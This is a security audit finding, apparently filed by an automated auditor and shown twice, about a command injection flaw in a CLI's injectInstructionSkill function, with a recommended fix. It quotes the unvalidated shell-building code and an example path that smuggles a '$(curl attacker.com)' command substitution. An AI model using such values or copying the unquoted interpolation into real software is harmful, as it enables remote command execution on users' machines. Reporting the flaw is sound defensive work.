Severity: MEDIUM (requires compromised manifest)
File: packages/cli/src/shared/skills.ts lines 266-287
Description
The injectInstructionSkill function takes remotePath from manifest.json's instruction_path field and interpolates it directly into a shell command without validation:
const remoteDir = remotePath.slice(0, remotePath.lastIndexOf("/"));
const cmd = `mkdir -p ${remoteDir} && printf '%s' '${b64}' | base64 -d > ${remotePath} && chmod 644 ${remotePath}`;
Neither remoteDir nor remotePath is passed through validateRemotePath() or shellQuote().
A malicious instruction_path in manifest.json (e.g. ~/.claude/skills/$(curl attacker.com)/SKILL.md) could execute arbitrary commands on the remote VM.
Compare
uploadConfigFile() at agent-setup.ts:88 correctly calls validateRemotePath() on its remotePath parameter before use.
Fix
Add validateRemotePath(remotePath) before building the command, and wrap both remoteDir and remotePath with shellQuote().
Found by refactor/security-auditor
Severity: MEDIUM (requires compromised manifest)
File:
packages/cli/src/shared/skills.tslines 266-287Description
The
injectInstructionSkillfunction takesremotePathfrommanifest.json'sinstruction_pathfield and interpolates it directly into a shell command without validation:Neither
remoteDirnorremotePathis passed throughvalidateRemotePath()orshellQuote().A malicious
instruction_pathin manifest.json (e.g.~/.claude/skills/$(curl attacker.com)/SKILL.md) could execute arbitrary commands on the remote VM.Compare
uploadConfigFile()atagent-setup.ts:88correctly callsvalidateRemotePath()on itsremotePathparameter before use.Fix
Add
validateRemotePath(remotePath)before building the command, and wrap bothremoteDirandremotePathwithshellQuote().Found by refactor/security-auditor